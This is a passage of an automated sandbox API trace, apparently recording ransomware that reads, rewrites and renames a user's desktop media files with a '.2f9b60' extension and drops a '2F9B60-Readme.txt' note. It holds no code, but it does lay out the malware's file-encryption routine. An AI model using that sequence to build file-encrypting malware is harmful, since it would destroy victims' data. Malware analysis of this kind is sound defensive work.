(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0100.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0100.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f670) returned 1 [0100.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0100.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0100.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f670 [0100.634] sprintf (in: _Dest=0x1cd9f670, _Format="%c%c" | out: _Dest="11") returned 2 [0100.634] sprintf (in: _Dest=0x1cd9f672, _Format="%c%c" | out: _Dest="d2") returned 2 [0100.634] sprintf (in: _Dest=0x1cd9f674, _Format="%c%c" | out: _Dest="30") returned 2 [0100.634] sprintf (in: _Dest=0x1cd9f676, _Format="%c%c" | out: _Dest="c4") returned 2 [0100.634] sprintf (in: _Dest=0x1cd9f678, _Format="%c%c" | out: _Dest="16") returned 2 [0100.634] sprintf (in: _Dest=0x1cd9f67a, _Format="%c%c" | out: _Dest="9a") returned 2 [0100.634] sprintf (in: _Dest=0x1cd9f67c, _Format="%c%c" | out: _Dest="32") returned 2 [0100.634] sprintf (in: _Dest=0x1cd9f67e, _Format="%c%c" | out: _Dest="5b") returned 2 [0100.634] sprintf (in: _Dest=0x1cd9f680, _Format="%c%c" | out: _Dest="c1") returned 2 [0100.634] sprintf (in: _Dest=0x1cd9f682, _Format="%c%c" | out: _Dest="6c") returned 2 [0100.634] sprintf (in: _Dest=0x1cd9f684, _Format="%c%c" | out: _Dest="cd") returned 2 [0100.634] sprintf (in: _Dest=0x1cd9f686, _Format="%c%c" | out: _Dest="f8") returned 2 [0100.635] sprintf (in: _Dest=0x1cd9f688, _Format="%c%c" | out: _Dest="b6") returned 2 [0100.635] sprintf (in: _Dest=0x1cd9f68a, _Format="%c%c" | out: _Dest="ee") returned 2 [0100.635] sprintf (in: _Dest=0x1cd9f68c, _Format="%c%c" | out: _Dest="b0") returned 2 [0100.635] sprintf (in: _Dest=0x1cd9f68e, _Format="%c%c" | out: _Dest="d4") returned 2 [0100.635] sprintf (in: _Dest=0x1cd9f690, _Format="%c%c" | out: _Dest="f6") returned 2 [0100.635] sprintf (in: _Dest=0x1cd9f692, _Format="%c%c" | out: _Dest="99") returned 2 [0100.635] sprintf (in: _Dest=0x1cd9f694, _Format="%c%c" | out: _Dest="3b") returned 2 [0100.635] sprintf (in: _Dest=0x1cd9f696, _Format="%c%c" | out: _Dest="63") returned 2 [0100.635] RtlInitAnsiString (in: DestinationString=0x22b8f988, SourceString="11d230c4169a325bc16ccdf8b6eeb0d4f6993b63" | out: DestinationString="11d230c4169a325bc16ccdf8b6eeb0d4f6993b63") [0100.635] RtlAnsiStringToUnicodeString (in: DestinationString=0x22b8f958, SourceString="11d230c4169a325bc16ccdf8b6eeb0d4f6993b63", AllocateDestinationString=1 | out: DestinationString="11d230c4169a325bc16ccdf8b6eeb0d4f6993b63") returned 0x0 [0100.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858cd0 [0100.635] wcscat (in: _Dest=0x1b867340, _Source="11d230c416" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\11d230c416") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\11d230c416" [0100.635] wcscat (in: _Dest=0x1b867340, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\11d230c416.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\11d230c416.2f9b60" [0100.635] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\11d230c416.2f9b60", NtPathName=0x22b8f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\11d230c416.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b0c90 [0100.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0c90) returned 1 [0100.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98300) returned 1 [0100.685] NtQueryInformationFile (in: FileHandle=0x14e8, IoStatusBlock=0x22b8f998, FileInformation=0x22b8f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22b8f998, FileInformation=0x22b8f9a8) returned 0x0 [0100.685] NtSetInformationFile (FileHandle=0x14e8, IoStatusBlock=0x22b8f998, FileInformation=0x22b8f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0100.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0100.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858cd0) returned 1 [0100.711] FlushFileBuffers (hFile=0x14e8) returned 1 [0101.566] CloseHandle (hObject=0x14e8) returned 1 [0101.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85e790 [0101.852] wcscpy (in: _Dest=0x1b85e790, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0101.852] wcscat (in: _Dest=0x1b85e790, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0101.852] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0xffffffff [0102.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x110c [0120.593] WriteFile (in: hFile=0x110c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x22b8f850, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x22b8f850*=0xba9, lpOverlapped=0x0) returned 1 [0124.085] CloseHandle (hObject=0x110c) returned 1 [0124.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e790) returned 1 [0124.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8644c0) returned 1 Thread: id = 795 os_tid = 0x1350 [0098.955] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\s5wCxq6-km7e1ZD.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s5wcxq6-km7e1zd.flv")) returned 0x20 [0098.955] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\s5wCxq6-km7e1ZD.flv", dwFileAttributes=0x20) returned 1 [0098.955] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\s5wCxq6-km7e1ZD.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s5wcxq6-km7e1zd.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14ec [0098.955] GetFileSizeEx (in: hFile=0x14ec, lpFileSize=0x2236fa80 | out: lpFileSize=0x2236fa80*=16300) returned 1 [0098.955] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x3fa8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.955] ReadFile (in: hFile=0x14ec, lpBuffer=0x2236fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2236fa48, lpOverlapped=0x0 | out: lpBuffer=0x2236fa00*, lpNumberOfBytesRead=0x2236fa48*=0x4, lpOverlapped=0x0) returned 1 [0098.956] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261220 [0098.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202612e0 [0098.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261370 [0098.956] NtQuerySystemTime (in: CurrentTime=0x2236f940 | out: CurrentTime=0x2236f940*=132462177044806000) returned 0x0 [0098.956] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x528593db [0098.956] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x5740af5f [0098.956] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x667db9f [0098.956] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x35959413 [0098.956] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x69ed0e16 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x54a1755d [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x7009521 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0xf3ff5c2 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x6d9bb411 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x5fad01c9 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x6912b50b [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x16f64752 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x7acb0631 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x32d60ab [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x744de98c [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x261d8a2a [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x7254e39 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0xf95a742 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x21ae638 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x693d5976 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x5188a3aa [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x15b9e7dd [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x56396956 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x640d5015 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0xb330bec [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x2c40df83 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x2768d15 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x28742ad9 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0xf6ace82 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x39dc5c34 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x6cfccf77 [0098.957] RtlRandomEx (in: Seed=0x2236f930 | out: Seed=0x2236f930) returned 0x5cbcc1d1 [0098.966] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.966] ReadFile (in: hFile=0x14ec, lpBuffer=0x1cf2de20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2236f9a0, lpOverlapped=0x0 | out: lpBuffer=0x1cf2de20*, lpNumberOfBytesRead=0x2236f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.966] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0098.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866540 [0098.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261220 [0098.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261220) returned 1 [0098.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf31a30 [0098.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261220 [0098.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261370 [0098.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261370) returned 1 [0098.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 [0098.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0098.967] WriteFile (in: hFile=0x14ec, lpBuffer=0x1cf31a30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2236f9a0, lpOverlapped=0x0 | out: lpBuffer=0x1cf31a30*, lpNumberOfBytesWritten=0x2236f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf31a30) returned 1 [0100.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf2de20) returned 1 [0100.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9eff0 [0100.534] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.534] WriteFile (in: hFile=0x14ec, lpBuffer=0x167b80*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2236fa50, lpOverlapped=0x0 | out: lpBuffer=0x167b80*, lpNumberOfBytesWritten=0x2236fa50*=0x118, lpOverlapped=0x0) returned 1 [0100.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0100.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a0c0 [0100.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261790 [0100.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261790) returned 1 [0100.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261790 [0100.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261760 [0100.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261700 [0100.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261700) returned 1 [0100.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a0c0) returned 1 [0100.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0100.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b858cd0 [0100.955] sprintf (in: _Dest=0x1b858cd0, _Format="%c%c" | out: _Dest="04") returned 2 [0100.955] sprintf (in: _Dest=0x1b858cd2, _Format="%c%c" | out: _Dest="06") returned 2 [0100.955] sprintf (in: _Dest=0x1b858cd4, _Format="%c%c" | out: _Dest="bd") returned 2 [0100.955] sprintf (in: _Dest=0x1b858cd6, _Format="%c%c" | out: _Dest="37") returned 2 [0100.955] sprintf (in: _Dest=0x1b858cd8, _Format="%c%c" | out: _Dest="ca") returned 2 [0100.955] sprintf (in: _Dest=0x1b858cda, _Format="%c%c" | out: _Dest="03") returned 2 [0100.955] sprintf (in: _Dest=0x1b858cdc, _Format="%c%c" | out: _Dest="23") returned 2 [0100.956] sprintf (in: _Dest=0x1b858cde, _Format="%c%c" | out: _Dest="11") returned 2 [0100.956] sprintf (in: _Dest=0x1b858ce0, _Format="%c%c" | out: _Dest="0c") returned 2 [0100.956] sprintf (in: _Dest=0x1b858ce2, _Format="%c%c" | out: _Dest="d4") returned 2 [0100.956] sprintf (in: _Dest=0x1b858ce4, _Format="%c%c" | out: _Dest="d0") returned 2 [0100.956] sprintf (in: _Dest=0x1b858ce6, _Format="%c%c" | out: _Dest="c5") returned 2 [0100.956] sprintf (in: _Dest=0x1b858ce8, _Format="%c%c" | out: _Dest="92") returned 2 [0100.956] sprintf (in: _Dest=0x1b858cea, _Format="%c%c" | out: _Dest="7b") returned 2 [0100.956] sprintf (in: _Dest=0x1b858cec, _Format="%c%c" | out: _Dest="d8") returned 2 [0100.956] sprintf (in: _Dest=0x1b858cee, _Format="%c%c" | out: _Dest="9b") returned 2 [0100.956] sprintf (in: _Dest=0x1b858cf0, _Format="%c%c" | out: _Dest="28") returned 2 [0100.956] sprintf (in: _Dest=0x1b858cf2, _Format="%c%c" | out: _Dest="5c") returned 2 [0100.956] sprintf (in: _Dest=0x1b858cf4, _Format="%c%c" | out: _Dest="12") returned 2 [0100.956] sprintf (in: _Dest=0x1b858cf6, _Format="%c%c" | out: _Dest="d1") returned 2 [0100.956] sprintf (in: _Dest=0x1b858cf8, _Format="%c%c" | out: _Dest="2e") returned 2 [0100.956] sprintf (in: _Dest=0x1b858cfa, _Format="%c%c" | out: _Dest="15") returned 2 [0100.956] sprintf (in: _Dest=0x1b858cfc, _Format="%c%c" | out: _Dest="63") returned 2 [0100.956] sprintf (in: _Dest=0x1b858cfe, _Format="%c%c" | out: _Dest="a5") returned 2 [0100.956] sprintf (in: _Dest=0x1b858d00, _Format="%c%c" | out: _Dest="fb") returned 2 [0100.956] sprintf (in: _Dest=0x1b858d02, _Format="%c%c" | out: _Dest="f2") returned 2 [0100.956] sprintf (in: _Dest=0x1b858d04, _Format="%c%c" | out: _Dest="82") returned 2 [0100.956] sprintf (in: _Dest=0x1b858d06, _Format="%c%c" | out: _Dest="ee") returned 2 [0100.956] sprintf (in: _Dest=0x1b858d08, _Format="%c%c" | out: _Dest="6f") returned 2 [0100.956] sprintf (in: _Dest=0x1b858d0a, _Format="%c%c" | out: _Dest="a4") returned 2 [0100.956] sprintf (in: _Dest=0x1b858d0c, _Format="%c%c" | out: _Dest="a9") returned 2 [0100.956] sprintf (in: _Dest=0x1b858d0e, _Format="%c%c" | out: _Dest="67") returned 2 [0100.956] sprintf (in: _Dest=0x1b858d10, _Format="%c%c" | out: _Dest="7d") returned 2 [0100.957] sprintf (in: _Dest=0x1b858d12, _Format="%c%c" | out: _Dest="64") returned 2 [0100.957] sprintf (in: _Dest=0x1b858d14, _Format="%c%c" | out: _Dest="39") returned 2 [0100.957] sprintf (in: _Dest=0x1b858d16, _Format="%c%c" | out: _Dest="e7") returned 2 [0100.957] sprintf (in: _Dest=0x1b858d18, _Format="%c%c" | out: _Dest="6b") returned 2 [0100.957] sprintf (in: _Dest=0x1b858d1a, _Format="%c%c" | out: _Dest="cf") returned 2 [0100.957] RtlInitAnsiString (in: DestinationString=0x2236fac8, SourceString="0406bd37ca0323110cd4d0c5927bd89b285c12d12e1563a5fbf282ee6fa4a9677d6439e76bcf" | out: DestinationString="0406bd37ca0323110cd4d0c5927bd89b285c12d12e1563a5fbf282ee6fa4a9677d6439e76bcf") [0100.957] RtlAnsiStringToUnicodeString (in: DestinationString=0x2236fa98, SourceString="0406bd37ca0323110cd4d0c5927bd89b285c12d12e1563a5fbf282ee6fa4a9677d6439e76bcf", AllocateDestinationString=1 | out: DestinationString="0406bd37ca0323110cd4d0c5927bd89b285c12d12e1563a5fbf282ee6fa4a9677d6439e76bcf") returned 0x0 [0100.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ade40 [0100.957] wcscat (in: _Dest=0x202af6a0, _Source="0406bd37ca0323110cd" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0406bd37ca0323110cd") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0406bd37ca0323110cd" [0100.957] wcscat (in: _Dest=0x202af6a0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0406bd37ca0323110cd.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0406bd37ca0323110cd.2f9b60" [0100.957] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0406bd37ca0323110cd.2f9b60", NtPathName=0x2236fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0406bd37ca0323110cd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202add90 [0109.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202add90) returned 1 [0109.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a830) returned 1 [0109.198] NtQueryInformationFile (in: FileHandle=0x14ec, IoStatusBlock=0x2236fad8, FileInformation=0x2236fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2236fad8, FileInformation=0x2236fae8) returned 0x0 [0109.198] NtSetInformationFile (FileHandle=0x14ec, IoStatusBlock=0x2236fad8, FileInformation=0x2236fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af6a0) returned 1 [0109.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ade40) returned 1 [0109.341] FlushFileBuffers (hFile=0x14ec) returned 1 [0109.343] CloseHandle (hObject=0x14ec) returned 1 [0109.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b866ec0 [0109.344] wcscpy (in: _Dest=0x1b866ec0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0109.344] wcscat (in: _Dest=0x1b866ec0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0109.344] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0109.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ec0) returned 1 [0109.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 Thread: id = 796 os_tid = 0x1354 [0098.977] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vIna-4_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vina-4_.m4a")) returned 0x20 [0098.977] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vIna-4_.m4a", dwFileAttributes=0x20) returned 1 [0098.978] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vIna-4_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vina-4_.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14f0 [0098.978] GetFileSizeEx (in: hFile=0x14f0, lpFileSize=0x22a4f840 | out: lpFileSize=0x22a4f840*=30904) returned 1 [0098.978] SetFilePointerEx (in: hFile=0x14f0, liDistanceToMove=0x78b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.978] ReadFile (in: hFile=0x14f0, lpBuffer=0x22a4f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22a4f808, lpOverlapped=0x0 | out: lpBuffer=0x22a4f7c0*, lpNumberOfBytesRead=0x22a4f808*=0x4, lpOverlapped=0x0) returned 1 [0098.979] SetFilePointerEx (in: hFile=0x14f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261370 [0098.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261400 [0098.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261430 [0098.979] NtQuerySystemTime (in: CurrentTime=0x22a4f700 | out: CurrentTime=0x22a4f700*=132462177044962000) returned 0x0 [0098.979] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x3ae4b65e [0098.979] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x13192410 [0098.979] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x53c8089e [0098.979] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x10c19482 [0098.979] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x710f25f8 [0098.979] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x1005d8e0 [0098.979] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x6341b133 [0098.979] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x6fa206ab [0098.979] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x1eda95e9 [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0xca5bf2e [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x62aefbfc [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x1b379043 [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x560c5b8c [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x3fbad3df [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x19b3ee47 [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0xd550229 [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x6576efe5 [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x6d80b81d [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x6b3a4bae [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x3602933b [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x33063f06 [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x46854656 [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x3967b3ab [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 